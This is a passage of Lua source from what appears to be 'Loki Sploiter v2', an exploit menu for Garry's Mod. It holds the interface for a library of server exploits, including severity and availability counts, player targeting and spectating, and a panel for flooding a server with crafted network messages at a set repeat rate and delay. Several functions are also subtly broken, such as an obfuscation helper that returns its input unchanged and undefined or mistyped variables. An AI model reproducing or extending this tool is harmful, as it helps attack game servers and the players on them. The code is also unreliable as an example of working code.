1268 surface.DrawOutlinedRect(0, 0, w, h)
1269 surface.SetDrawColor(0, 0, 50 ,155)
1270 surface.DrawRect(0, 0, w, h)
1271 if LOKI.GetWhitelist(tab.addr) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
1272 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1273 end
1274 target4.DoClick = function()
1275 LOKI.SetWhitelist(tab.addr, !LOKI.GetWhitelist(tab.addr))
1276 end
1277 end
1278 local target5 = LOKI.vgui.Create( "DTextEntry", LOKI.EntitySelector )
1279 target5:SetPos( x, 23 )
1280 target5:SetSize( 85, 20 )
1281 x = x + target5:GetSize()
1282 target5:SetText( "" )
1283 target5.OnChange = function( self )
1284 local nam = self:GetValue()
1285 nam = string.Replace(nam, " ", "")
1286 nam = nam:gsub( "[%-%^%$%(%)%%%.%[%]%*%+%-%?]", "%%%1" )
1287 local namtab = string.Explode( ",", nam )
1288 plytab = {}
1289 for _, pl in ipairs( tbl ) do
1290 for _, s in pairs( namtab ) do
1291 if v:IsPlayer() && (string.find( string.lower( pl:Nick() ), s, 1, true ) ||
1292 string.find( string.lower( pl:GetUserGroup() ), s, 1, true )) ||
1293 string.find( string.lower( pl:GetClass() ), s, 1, true ) then
1294 table.Empty(plytab)
1295 plytab[#plytab+1] = pl
1296 if(single) then
1297 break
1298 end
1299 end
1300 end
1301 end
1302 if(single) then
1303 LOKI.Store( tab, plytab[1] )
1304 else
1305 LOKI.Store( tab, plytab )
1306 end
1307 end
1308 end
1309 for k, v in ipairs( tbl ) do
1310 if(!IsValid(v)) then continue end
1311 local plypanel2 = LOKI.vgui.Create( "DPanel", (!tab.nostore && Plist) || LOKI.EntitySelector )
1312 plypanel2:SetPos( 0, 0 )
1313 plypanel2:SetSize( 200, 25 )
1314 local teamcol = Color(255,255,255)
1315 if(v:IsPlayer()) then
1316 teamcol = team.GetColor( v:Team() )
1317 end
1318 plypanel2.Paint = function( s, w, h )
1319 if !v:IsValid() then return end
1320 surface.SetDrawColor( Color(30, 30, 30, 245) )
1321 surface.DrawRect( 0, 0, w, h )
1322 surface.SetDrawColor( teamcol )
1323 surface.DrawRect( 0, h - 3, w, 3 )
1324 surface.SetDrawColor( Color(55, 55, 55, 245) )
1325 surface.DrawOutlinedRect( 0, 0, w, h )
1326 if table.HasValue( LOKI.GetStored(tab.addr) || {}, v ) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
1327 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1328 end
1329 local plyname = LOKI.vgui.Create( "DLabel", plypanel2 )
1330 plyname:SetPos( 10, 5 )
1331 plyname:SetFont( "Trebuchet18" )
1332 local tcol = Color( 255, 255, 255 )
1333 if v == LOKI.GetLP() then tcol = Color( 155, 155, 255 ) end
1334 plyname:SetColor( tcol )
1335 if(v:IsPlayer()) then
1336 plyname:SetText( "(" .. v:GetUserGroup() .. ") " .. v:Nick() )
1337 else
1338 plyname:SetText( tostring(v) )
1339 end
1340 plyname:SetSize(180, 15)
1341 local plysel = LOKI.vgui.Create("DButton", plypanel2 )
1342 plysel:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
1343 plysel:SetPos( 0, 0 )
1344 plysel:SetText("")
1345 plysel.ent = v
1346 plysel.Paint = function(panel, w, h)
1347 if plysel.ent == LOKI.SpectateEnt then surface.SetDrawColor( Color(0, 255, 255, 245) ) surface.DrawOutlinedRect( 2, 2, plypanel2:GetWide() - 4, plypanel2:GetTall() - 4) end
1348 local hoveredpan = vgui.GetHoveredPanel()
1349 if(IsValid(hoveredpan) && IsValid(hoveredpan.ent) && !LOKI.SpectateEnt) then
1350 LOKI.IsHovered = hoveredpan.ent
1351 else
1352 LOKI.IsHovered = false
1353 end
1354 return
1355 end
1356 plysel.DoRightClick = function()
1357 if(LOKI.SpectateEnt != plysel.ent) then
1358 LOKI.SpectateEnt = plysel.ent
1359 else
1360 LOKI.SpectateEnt = false
1361 end
1362 end
1363 plysel.DoClick = function()
1364 if(tab.nostore) then return plysel.DoRightClick() end
1365 if(istable(plytab)) then
1366 if table.HasValue( plytab, v ) then
1367 Index = table.RemoveByValue( plytab, v )
1368 else
1369 if(single) then
1370 table.Empty(plytab)
1371 end
1372 table.insert(plytab, v)
1373 end
1374 if(single) then
1375 LOKI.Store( tab, plytab[1] )
1376 else
1377 LOKI.Store( tab, plytab )
1378 end
1379 else
1380 LOKI.Store( tab, plytab )
1381 end
1382 end
1383 Plist:AddItem( plypanel2 )
1384 end
1385end
1386function LOKI.MakeTextInputButton( parent, x, y, btext, default, addr)
1387 if !parent:IsValid() then return end
1388 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1389 hostframe:SetPos( x, y )
1390 hostframe.Paint = function( self, w, h )
1391 surface.SetDrawColor( Color(60, 60, 60, 200) )
1392 surface.DrawRect( 0, 0, w, h )
1393 surface.SetDrawColor( Color( 60, 60, 60 ) )
1394 surface.SetMaterial( downgrad )
1395 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1396 surface.SetDrawColor( Color(100, 100, 100, 255) )
1397 surface.DrawOutlinedRect( 0, 0, w, h )
1398 end
1399 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1400 tttt:SetPos( 5, 5 )
1401 tttt:SetText( btext )
1402 tttt:SizeToContents()
1403 local tentry = LOKI.vgui.Create( "DTextEntry", hostframe )
1404 tentry:SetPos( 10 + tttt:GetWide(), 2 )
1405 --tentry:SetSize( 130, 20 )
1406 tentry:SetText( LOKI.GetStored( addr, default ) )
1407 tentry.OnChange = function( self )
1408 LOKI.Store( addr, self:GetValue() )
1409 end
1410 hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
1411 return hostframe:GetWide(), hostframe:GetTall()
1412end
1413function LOKI.MakeComboButton( parent, x, y, btext, default, addr, tbl, restriction, name, sort, find)
1414 if !parent:IsValid() then return end
1415 if(isfunction(tbl)) then
1416 tbl = tbl()
1417 end
1418 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1419 hostframe:SetPos( x, y )
1420 hostframe.Paint = function( self, w, h )
1421 surface.SetDrawColor( Color(60, 60, 60, 200) )
1422 surface.DrawRect( 0, 0, w, h )
1423 surface.SetDrawColor( Color( 60, 60, 60 ) )
1424 surface.SetMaterial( downgrad )
1425 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1426 surface.SetDrawColor( Color(100, 100, 100, 255) )
1427 surface.DrawOutlinedRect( 0, 0, w, h )
1428 end
1429 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1430 tttt:SetPos( 5, 5 )
1431 tttt:SetText( btext )
1432 tttt:SizeToContents()
1433 local tentry = LOKI.vgui.Create( "DComboBox", hostframe )
1434 tentry:SetPos( 10 + tttt:GetWide(), 2 )
1435 tentry:SetSize( 130, 20 )
1436 tentry:SetSortItems( false )
1437 tentry:SetValue(istable(LOKI.GetStored(addr, default)) && tbl[(LOKI.GetStored(addr, default)[1])] && tbl[(LOKI.GetStored(addr, default)[1])][name] || "")
1438 for k, v in SortedPairsByMemberValue(tbl, sort) do
1439 if(!restriction || v[restriction]) then
1440 tentry:AddChoice(v[name], k)
1441 end
1442 end
1443 tentry.OnSelect = function( panel, index, value, data )
1444 tentry:SetValue(value)
1445 LOKI.Store( addr, {data, tbl[data][find] || data} )
1446 end
1447 hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
1448 return hostframe:GetWide(), hostframe:GetTall()
1449end
1450function LOKI.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr)
1451 if !parent:IsValid() then return end
1452 if(min) then
1453 min = LOKI.SafeToNumber(min)
1454 else
1455 min = -math.huge
1456 end
1457 if(max) then
1458 max = LOKI.SafeToNumber(max)
1459 else
1460 max = math.huge
1461 end
1462 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1463 hostframe:SetPos( x, y )
1464 hostframe.Paint = function( self, w, h )
1465 surface.SetDrawColor( Color(60, 60, 60, 200) )
1466 surface.DrawRect( 0, 0, w, h )
1467 surface.SetDrawColor( Color( 60, 60, 60 ) )
1468 surface.SetMaterial( downgrad )
1469 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1470 surface.SetDrawColor( Color(100, 100, 100, 255) )
1471 surface.DrawOutlinedRect( 0, 0, w, h )
1472 end
1473 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1474 tttt:SetPos( 5, 5 )
1475 tttt:SetText( btext || "" )
1476 tttt:SizeToContents()
1477 local numentry = LOKI.vgui.Create( "DNumberWang", hostframe )
1478 numentry:SetPos( 10 + tttt:GetWide(), 2 )
1479 numentry:SetSize( 45, 20 )
1480 numentry:SetDecimals( 2 )
1481 numentry:SetMin( min )
1482 numentry:SetMax( max )
1483 numentry:SetValue( LOKI.GetStored( addr, default ) )
1484 numentry.OnValueChanged = function( self, val )
1485 val = math.Clamp(LOKI.SafeToNumber(val), min, max)
1486 LOKI.Store( addr, val )
1487 end
1488 hostframe:SetSize( 13 + tttt:GetWide() + numentry:GetWide(), 24 )
1489 return hostframe:GetWide(), hostframe:GetTall()
1490end
1491function LOKI.MakeVectorInputButton( parent, x, y, btext, default, addr)
1492 if !parent:IsValid() then return end
1493 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1494 hostframe:SetPos( x, y )
1495 hostframe.Paint = function( self, w, h )
1496 surface.SetDrawColor( Color(60, 60, 60, 200) )
1497 surface.DrawRect( 0, 0, w, h )
1498 surface.SetDrawColor( Color( 60, 60, 60 ) )
1499 surface.SetMaterial( downgrad )
1500 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1501 surface.SetDrawColor( Color(100, 100, 100, 255) )
1502 surface.DrawOutlinedRect( 0, 0, w, h )
1503 end
1504 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1505 tttt:SetPos( 5, 5 )
1506 tttt:SetText( btext || "" )
1507 tttt:SizeToContents()
1508 local numentry = nil
1509 for i=1,3 do
1510 local numentry = LOKI.vgui.Create( "DNumberWang", hostframe )
1511 numentry:SetPos( 3*i + tttt:GetWide(), 2 )
1512 numentry:SetSize( 15*i, 20 )
1513 numentry:SetDecimals( 2 )
1514 numentry:SetValue( LOKI.GetStored( addr, default )[i] )
1515 numentry.OnValueChanged = function( self, val )
1516 val = LOKI.SafeToNumber(val)
1517 local var = LOKI.GetStored( addr, default )
1518 self:SetValue(val)
1519 var[i] = val
1520 LOKI.Store( addr, var )
1521 end
1522 end
1523 hostframe:SetSize( 13 + tttt:GetWide() + numentry:GetWide() * 3, 24 )
1524 return hostframe:GetWide(), hostframe:GetTall()
1525end
1526////////////////////////////////////////////- NET WORKBENCH -//////////////////////////////////////////////////
1527function LOKI.MakeMessageSelector( hostpanel, typevar, isent )
1528 local hostframe = LOKI.vgui.Create( "DPanel", LOKI.NetWorkbench.NetPanel )
1529 hostframe:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1530 hostframe:SetSize( LOKI.NetWorkbench.NetPanel:GetWide() - 10, 22 )
1531 hostframe.Paint = function( self, w, h )
1532 surface.SetDrawColor( Color(60, 60, 60, 200) )
1533 surface.DrawRect( 0, 0, w, h )
1534 surface.SetDrawColor( Color(100, 100, 100, 255) )
1535 surface.DrawOutlinedRect( 0, 0, w, h )
1536 end
1537 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1538 tttt:SetPos( 20, 4 )
1539 tttt.Type = typevar
1540 tttt:SetText( typevar )
1541 tttt:SizeToContents()
1542 local tentry = isent && LOKI.vgui.Create( "DComboBox", hostframe ) || LOKI.vgui.Create( "DTextEntry", hostframe )
1543 tentry:SetSize( 140, 18 )
1544 tentry:SetPos( hostframe:GetWide() - 145, 2 )
1545 if(!isent) then
1546 tentry:SetText( "" )
1547 tentry.OnChange = function( self )
1548 print( self:GetValue() )
1549 end
1550 else
1551 for k, v in ipairs( player.GetAll() ) do
1552 if((v:IsScripted() || v:IsPlayer()) && !string.StartWith(v:GetClass(), "env_")) then
1553 tentry:AddChoice(tostring(v))
1554 end
1555 end
1556 DComboBox.OnSelect = function( panel, index, value )
1557 print( tostring(Entity(index)) .." was selected!" )
1558 end
1559 end
1560 local SelButton = LOKI.vgui.Create( "DButton", hostframe )
1561 SelButton:SetPos( 5, 3 )
1562 SelButton:SetText( "" )
1563 SelButton:SetTextColor( Color(255, 255, 255, 255) )
1564 SelButton:SetSize( 12, 16 )
1565 SelButton.Paint = function( self, w, h )
1566 surface.SetDrawColor( Color(30, 30, 30, 200) )
1567 surface.DrawRect( 0, 0, w, h )
1568 surface.SetDrawColor( Color(90, 90, 90, 200) )
1569 surface.DrawRect( 2, 2, 3, h - 4 )
1570 surface.DrawRect( 6, 2, 3, h - 4 )
1571 end
1572 LOKI.NetWorkbench.NetPanel.ysize = LOKI.NetWorkbench.NetPanel.ysize + 25
1573 hostpanel:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1574 SelButton.DoClick = function( self )
1575 hostframe:Remove()
1576 LOKI.NetWorkbench.NetPanel.ysize = LOKI.NetWorkbench.NetPanel.ysize - 25
1577 hostpanel:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1578 end
1579end
1580function LOKI.NetmessagePanel()
1581 if LOKI.NetWorkbench and LOKI.NetWorkbench:IsVisible() then LOKI.NetWorkbench:Remove() end
1582 LOKI.NetWorkbench = LOKI.vgui.Create("DFrame", LOKI.Menu)
1583 LOKI.NetWorkbench:SetSize(250,400)
1584 LOKI.NetWorkbench:SetTitle("Send a netmessage")
1585-- LOKI.NetWorkbench:SetPos( gui.MouseX(), gui.MouseY() )
1586 LOKI.NetWorkbench:MakePopup()
1587 LOKI.NetWorkbench:Center()
1588 LOKI.NetWorkbench.Paint = function( s, w, h )
1589 if !IsValid(LOKI.Menu) or !LOKI.Menu:IsVisible() then s:Remove() return end
1590 surface.SetDrawColor( Color(30, 30, 30, 255) )
1591 surface.DrawRect( 0, 0, w, h )
1592 surface.SetDrawColor( Color(55, 55, 55, 245) )
1593 surface.DrawOutlinedRect( 0, 0, w, h )
1594 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1595 LOKI.DrawText( "Channel: ", "default", 5, 28, Color(255,255,255, 30) )
1596 LOKI.DrawText( "Repeat: ", "default", 8, 54, Color(255,255,255, 30) )
1597 LOKI.DrawText( "Times", "default", 100, 54, Color(255,255,255, 30) )
1598 LOKI.DrawText( "Delay: ", "default", 15, 79, Color(255,255,255, 30) )
1599 LOKI.DrawText( "( 100 = 1 msg/second )", "default", 100, 79, Color(255,255,255, 30) )
1600 LOKI.DrawText( "Data: ", "default", 5, 104, Color(255,255,255, 30) )
1601 surface.SetDrawColor( Color(0, 0, 0, 205) )
1602 surface.DrawRect( 5, 105, w - 10, 250 )
1603 end
1604 LOKI.NetWorkbench.NetPanel = LOKI.vgui.Create( "DScrollPanel", LOKI.NetWorkbench )
1605 LOKI.NetWorkbench.NetPanel:SetSize( LOKI.NetWorkbench:GetWide() - 10, 250 )
1606 LOKI.NetWorkbench.NetPanel:SetPos( 5, 105 )
1607 LOKI.NetWorkbench.NetPanel.ysize = 0
1608 local AddButton = LOKI.vgui.Create( "DButton", LOKI.NetWorkbench.NetPanel )
1609 AddButton:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1610 AddButton:SetText( "Add New Data" )
1611 AddButton:SetTextColor( Color(255, 255, 255, 255) )
1612 AddButton:SetSize( LOKI.NetWorkbench.NetPanel:GetWide() - 10, 20 )
1613 AddButton.Paint = function( self, w, h )
1614 surface.SetDrawColor( Color(60, 60, 60, 200) )
1615 surface.DrawRect( 0, 0, w, h )
1616 surface.SetDrawColor( Color(100, 100, 100, 255) )
1617 surface.DrawRect( 0, 0, w, 1 )
1618 surface.DrawRect( 0, 0, 1, h )
1619 end
1620 local DataToSend = {}
1621 AddButton.DoClick = function( self )
1622 local Menu = DermaMenu()
1623 local Menustr = Menu:AddOption( "String (Text)", function() LOKI.MakeMessageSelector(self, "String") end ) Menustr:SetIcon( "icon16/script_edit.png" )
1624 local Menuuint = Menu:AddOption( "UInt (Positive Whole Number)", function() LOKI.MakeMessageSelector(self, "UInt") end ) Menuuint:SetIcon( "icon16/script_add.png" )
1625 local Menuint = Menu:AddOption( "Int (Whole Number)", function() LOKI.MakeMessageSelector(self, "Int") end ) Menuint:SetIcon( "icon16/script_delete.png" )
1626 local Menufloat = Menu:AddOption( "Float (Decimal Number)", function() LOKI.MakeMessageSelector(self, "Float") end ) Menufloat:SetIcon( "icon16/script_link.png" )
1627 local Menubool = Menu:AddOption( "Boolean (True or False)", function() LOKI.MakeMessageSelector(self, "Boolean") end ) Menubool:SetIcon( "icon16/script.png" )
1628 local Menuvec = Menu:AddOption( "Vector (3D coordinates)", function() LOKI.MakeMessageSelector(self, "Vector") end ) Menuvec:SetIcon( "icon16/script_code.png" )
1629 local Menuang = Menu:AddOption( "Angle (Pitch, Yaw and Roll)", function() LOKI.MakeMessageSelector(self, "Angle") end ) Menuang:SetIcon( "icon16/script_gear.png" )
1630 local Menucol = Menu:AddOption( "Colour (Red, Green and Blue)", function() LOKI.MakeMessageSelector(self, "Colour") end ) Menucol:SetIcon( "icon16/script_palette.png" )
1631 local Menuent = Menu:AddOption( "Player (Entity Object)", function() LOKI.MakeMessageSelector(self, "Player", true) end ) Menuent:SetIcon( "icon16/world.png" )
1632 local Menudouble = Menu:AddOption( "Double (High Precision Decimal Number)", function() LOKI.MakeMessageSelector(self, "Double") end ) Menudouble:SetIcon( "icon16/script_code_red.png" )
1633 local Menudata = Menu:AddOption( "Data (Binary Data + Length)", function() LOKI.MakeMessageSelector(self, "Data") end ) Menudata:SetIcon( "icon16/server.png" )
1634 Menu:Open()
1635 end
1636 local netname = LOKI.vgui.Create( "DTextEntry", LOKI.NetWorkbench )
1637 netname:SetPos( 50, 25 )
1638 netname:SetSize( 190, 20 )
1639 netname:SetText( LOKI.GetStored( "LCurrentNetmessage", "" ) )
1640 netname.OnChange = function( self )
1641 local nam = self:GetValue()
1642 LOKI.Store( "LCurrentNetmessage", nam )
1643 end
1644 local netrepeat = LOKI.vgui.Create( "DNumberWang", LOKI.NetWorkbench )
1645 netrepeat:SetPos( 50, 50 )
1646 netrepeat:SetSize( 45, 20 )
1647 netrepeat:SetDecimals( 2 )
1648 netrepeat:SetValue( LOKI.GetStored( "LCurrentNetRepeat", 1 ) )
1649 netrepeat.OnValueChanged = function( self, val )
1650 LOKI.Store( "LCurrentNetRepeat", self:GetValue() )
1651 end
1652 local netdelay = LOKI.vgui.Create( "DNumberWang", LOKI.NetWorkbench )
1653 netdelay:SetPos( 50, 75 )
1654 netdelay:SetSize( 45, 20 )
1655 netdelay:SetDecimals( 3 )
1656 netdelay:SetValue( LOKI.GetStored( "LCurrentnetDelay", 100 ) )
1657 netdelay.OnValueChanged = function( self, val )
1658 LOKI.Store( "LCurrentnetDelay", self:GetValue() )
1659 end
1660 local netname = LOKI.vgui.Create( "DTextEntry", LOKI.NetWorkbench )
1661 netname:SetPos( 50, 25 )
1662 netname:SetSize( 190, 20 )
1663 netname:SetText( LOKI.GetStored( "LCurrentNetmessage", "" ) )
1664 netname.OnChange = function( self )
1665 local nam = self:GetValue()
1666 LOKI.Store( "LCurrentNetmessage", nam )
1667 end
1668 LOKI.NetWorkbench.SendToServerButton = LOKI.vgui.Create( "DButton", LOKI.NetWorkbench )
1669 LOKI.NetWorkbench.SendToServerButton:SetPos( 5, LOKI.NetWorkbench:GetTall() - 35 )
1670 LOKI.NetWorkbench.SendToServerButton:SetText( "Send to Server" )
1671 LOKI.NetWorkbench.SendToServerButton:SetTextColor( Color(255, 255, 255, 255) )
1672 LOKI.NetWorkbench.SendToServerButton:SetSize( LOKI.NetWorkbench:GetWide() - 10, 30 )
1673 LOKI.NetWorkbench.SendToServerButton.Paint = function( self, w, h )
1674 surface.SetDrawColor( Color(60, 60, 60, 200) )
1675 surface.DrawRect( 0, 0, w, h )
1676 surface.SetDrawColor( Color( 60, 60, 60 ) )
1677 surface.SetMaterial( downgrad )
1678 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1679 surface.SetDrawColor( Color(100, 100, 100, 255) )
1680 surface.DrawOutlinedRect( 0, 0, w, h )
1681 end
1682 LOKI.NetWorkbench.SendToServerButton.DoClick = function()
1683 end
1684end
1685function LOKI.SecondsToClock(seconds)
1686 local seconds = LOKI.SafeToNumber(seconds)
1687
1688 if seconds <= 0 then
1689 return "00:00:00";
1690 else
1691 local hours = string.format("%02.f", math.floor(seconds/3600));
1692 local mins = string.format("%02.f", math.floor(seconds/60 - (hours*60)));
1693 local secs = string.format("%02.f", math.floor(seconds - hours*3600 - mins *60));
1694 return hours..":"..mins..":"..secs
1695 end
1696end
1697function LOKI.SafeToNumber(var)
1698 return tonumber(var) || -math.huge
1699end
1700function LOKI.GetWithinBounds( ent, entpos, dist )
1701 local tbl = {}
1702 if(istable(ent)) then
1703 for k, v in ipairs(ent) do
1704 if(IsValid(v)) then
1705 if(v:GetPos():DistToSqr( entpos ) < ( dist*dist )) then
1706 tbl[#tbl + 1] = v
1707 end
1708 end
1709 end
1710 return tbl
1711 elseif(IsValid(ent) && isfunction(ent.GetPos)) then
1712 return ent:GetPos():DistToSqr( entpos:GetPos() ) < ( dist*dist )
1713 else
1714 return false
1715 end
1716end
1717function LOKI.SecureString(str)
1718 local tbl = string.ToTable(str)
1719 local final_tbl = table.Copy(tbl)
1720 for k, v in pairs(tbl) do
1721 table.insert(final_tbl, math.random(0, #tbl), "")
1722 end
1723 return table.concat(tbl)
1724end
1725////////////////////////////////////////////- MENU -//////////////////////////////////////////////////
1726local events = {["player_disconnect"] = true, ["player_connect"] = true, ["player_hurt"] = true, ["player_say"] = true, ["player_activate"] = true, ["player_spawn"] = true, ["player_changename"] = true, ["player_info"] = true, ["server_cvar"] = true, ["break_prop"] = true, ["break_breakable"] = true, ["flare_ignite_npc"] = true, ["entity_killed"] = true,}
1727local eventsR = {}
1728function LOKI.OpenMenu(bInit)
1729 if LOKI.Menu && LOKI.Menu:IsVisible() then return end
1730 LOKI.CreatePanel = function() end
1731 local ActiveCount = function() end
1732 local Plist = nil
1733 if(bInit != true) then
1734 LOKI.Menu = LOKI.vgui.Create("DFrame")
1735 LOKI.Menu:SetPaintedManually(true)
1736 LOKI.Menu:SetSize(700,550)
1737 LOKI.Menu:SetTitle(LOKI.SecureString("Loki Sploiter v2"))
1738 LOKI.Menu:Center()
1739 LOKI.Menu:MakePopup()
1740
1741 LOKI.Menu.ExploitCount = {LOKI.GetVarExploits("severity", LOKI.TYPEVARS.MORETHAN, 0)}
1742 LOKI.Menu.ExploitCount[2] = LOKI.GetVarTable(LOKI.Menu.ExploitCount[1], "scanned", LOKI.TYPEVARS.EQUALTO, true)
1743 LOKI.Menu.ExploitCount[3] = 0
1744 LOKI.Menu.ExploitCount[4] = 0
1745
1746 ActiveCount = function()
1747
1748 LOKI.Menu.ExploitCount = {LOKI.GetVarExploits("severity", LOKI.TYPEVARS.MORETHAN, 0)}
1749 LOKI.Menu.ExploitCount[2] = LOKI.GetVarTable(LOKI.Menu.ExploitCount[1], "scanned", LOKI.TYPEVARS.EQUALTO, true)
1750 LOKI.Menu.ExploitCount[3] = 0
1751 LOKI.Menu.ExploitCount[4] = 0
1752
1753 for k, v in pairs(LOKI.Menu.ExploitCount[1]) do
1754 if(!v.count) then
1755 v.count = {
1756 ["Active"] = 1,
1757 ["Total"] = 1,
1758 }
1759 end
1760
1761 if(istable(v.functions) && !v.count.Counted) then
1762 for k2, v2 in pairs(v.functions) do
1763 if(v2.typ == "bools") then
1764 if(!v.count.Counted) then
1765 v.count.Total = v.count.Total - 1
1766 v.count.Counted = true
1767 end
1768 v.count.Total = v.count.Total + table.Count(v2.tbl)
1769 end
1770 end
1771 end
1772
1773 LOKI.Menu.ExploitCount[3] = LOKI.Menu.ExploitCount[3] + v.count.Total
1774 end
1775
1776 for k, v in pairs(LOKI.Menu.ExploitCount[2]) do
1777 LOKI.BlockNetOutgoing = true
1778 if(v.prevalidated) then LOKI.GENERAL_OVERRIDE = true end
1779 if(v.scan_always && !v.scan(v)) then LOKI.BlockNetOutgoing = false LOKI.GENERAL_OVERRIDE = false continue end
1780 LOKI.GENERAL_OVERRIDE = false
1781 LOKI.BlockNetOutgoing = false
1782 if(!v.count) then
1783 v.count = {
1784 ["Active"] = 1,
1785 ["Total"] = 1,
1786 }
1787 end
1788
1789 LOKI.Menu.ExploitCount[4] = LOKI.Menu.ExploitCount[4] + v.count.Active
1790 end
1791
1792 end
1793
1794 LOKI.Menu.Paint = function( s, w, h )
1795 LOKI.Menu:SetVisible(true)
1796 surface.SetDrawColor( Color(30, 30, 30, 245) )
1797 surface.DrawRect( 0, 0, w, h )
1798 surface.SetDrawColor( Color(55, 55, 55, 245) )
1799 surface.DrawOutlinedRect( 0, 0, w, h )
1800 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1801 surface.SetDrawColor( Color(0, 0, 0, 200) )
1802 surface.DrawRect( 80, 25, w - 90, h - 35 )
1803 surface.SetDrawColor( Color(100, 100, 100, 200) )
1804 surface.DrawLine( 10, 25, 40, 30 )
1805 surface.DrawLine( 40, 30, 70, 25 )
1806 surface.DrawLine( 10, 25, 25, 40 )
1807 surface.DrawLine( 55, 40, 70, 25 )
1808 surface.DrawLine( 25, 40, 25, 60 )
1809 surface.DrawLine( 55, 40, 55, 60 )
1810 surface.DrawLine( 25, 60, 40, 70 )
1811 surface.DrawLine( 55, 60, 40, 70 )
1812 LOKI.DrawText( "Sploit Library", "default", 8, 85, Color(255,255,255, 30) )
1813 LOKI.DrawText( "Exploits: "..LOKI.Menu.ExploitCount[3], "default", 8, 95, Color(255,255,255, 30) )
1814 LOKI.DrawText( "Available: "..LOKI.Menu.ExploitCount[4], "default", 8, 105, Color(255,255,255, 30) )
1815 LOKI.DrawText( "Bait?: "..LOKI.BAIT_COUNT, "default", 8, 115, Color(255,255,255, 30) )
1816 LOKI.DrawText( "Ares: "..(LOKI.ARES && "✓" || "✗"), "default", 8, 125, Color(255,255,255, 30) )
1817 end
1818 Plist = LOKI.vgui.Create( "DPanelList", LOKI.Menu )
1819 Plist:SetSize( LOKI.Menu:GetWide() - 90, LOKI.Menu:GetTall() - 35 )
1820 Plist:SetPadding( 5 )
1821 Plist:SetSpacing( 5 )
1822 Plist:EnableHorizontal( false )
1823 Plist:EnableVerticalScrollbar( false )
1824 Plist:SetPos( 80, 25 )
1825 Plist:SetName( "" )
1826 LOKI.MakeFunctionButton( LOKI.Menu, 10, 140, "Load Config", LOKI.LoadConfig, "Load a saved loki config" )
1827 LOKI.MakeFunctionButton( LOKI.Menu, 10, 170, "Save Config", LOKI.SaveConfig, "Save your loki config" )
1828 --LOKI.MakeFunctionButton( LOKI.Menu, 12, LOKI.Menu:GetTall() - 35, " net.Send ", LOKI.NetmessagePanel, "" )
1829 LOKI.CreatePanel = function( Name, t, parent )
1830 if !LOKI.Menu || !LOKI.Menu:IsVisible() then return end
1831 for _, tab in ipairs( t.functions ) do
1832 if tab.typ == "bools" && istable(tab.tbl) then
1833 if(!t.count) then
1834 t.count = {
1835 ["Active"] = 1,
1836 ["Total"] = 1,
1837 }
1838 end
1839 if(!t.count.Counted) then
1840 if(!t.count.Counted) then
1841 t.count.Total = t.count.Total - 1
1842 t.count.Counted = true
1843 end
1844 t.count.Total = t.count.Total .. table.Count(tab.tbl)
1845 end
1846 local funcs = {}
1847 for k, v in pairs(tab.tbl) do
1848 if(LOKI.ValidNetString(v)) then
1849 t.count.Active = t.count.Active + 1
1850 local tab = table.Copy(tab)
1851 tab.typ = "bool"
1852 tab.ToggleText = {k}
1853 tab.border = true
1854 tab.bool = v
1855 tab.channel = v
1856 tab.tbl = nil
1857 table.insert(t.functions, tab)
1858 t.bools[v] = false
1859 end
1860 end
1861 table.RemoveByValue(t.functions, tab)
1862 t.typ = "bools"
1863 end
1864 end
1865 if(#t.functions == 0) then return end
1866 local cmdp = LOKI.vgui.Create( "DPanel", parent )
1867 cmdp:SetSize( Plist:GetWide(), 70 )
1868 cmdp.Cmd = Name
1869 cmdp.Desc = isfunction(t.desc) && t.desc() || t.desc
1870 local status = isfunction(t.status) && t.status() || t.status
1871 if(status != nil && StatusText[status] && StatusColors[status]) then
1872 cmdp.Status = StatusText[status]
1873 cmdp.StatusCol = StatusColors[status]
1874 else
1875 cmdp.Status = "Unknown"
1876 cmdp.StatusCol = StatusColors[2]
1877 end
1878 cmdp.Paint = function( s, w, h )
1879 if(!LOKI.Menu || !LOKI.Menu:IsVisible()) then return cmdp:Remove() end
1880 local severity = isfunction(t.severity) && t.severity() || t.severity
1881 surface.SetDrawColor( Color(50, 50, 50, 245) )
1882 surface.DrawRect( 0, 0, w, h )
1883 surface.SetDrawColor( LOKI.GetColor(severity) || Color(255, 255, 255) )
1884 surface.DrawOutlinedRect( 0, 0, w, h )
1885 surface.DrawLine( 0, 24, w, 24 )
1886 local r_tbl = LOKI.RecursiveGetVar(t, {"vars", "Think"}, "table", true)
1887 if(r_tbl.cooldown && r_tbl.cooldown - LOKI.REAL_CURTIME >= 0) then
1888 local cooldown = r_tbl.cooldown - LOKI.REAL_CURTIME
1889 LOKI.DrawText( string.format(cmdp.Cmd.."%s", " [" .. LOKI.SecondsToClock(cooldown) .. "]"), "DermaDefault", 10, 5, Color(255,255,255) )
1890 else
1891 r_tbl.cooldown = 0
1892 LOKI.DrawText( cmdp.Cmd, "DermaDefault", 10, 5, Color(255,255,255) )
1893 end
1894 if(severity > 0) then
1895 LOKI.DrawText( "Status: ", "DermaDefault", 595 - (LOKI.Menu:GetWide() - cmdp:GetWide()), 5, Color(255,255,255) )
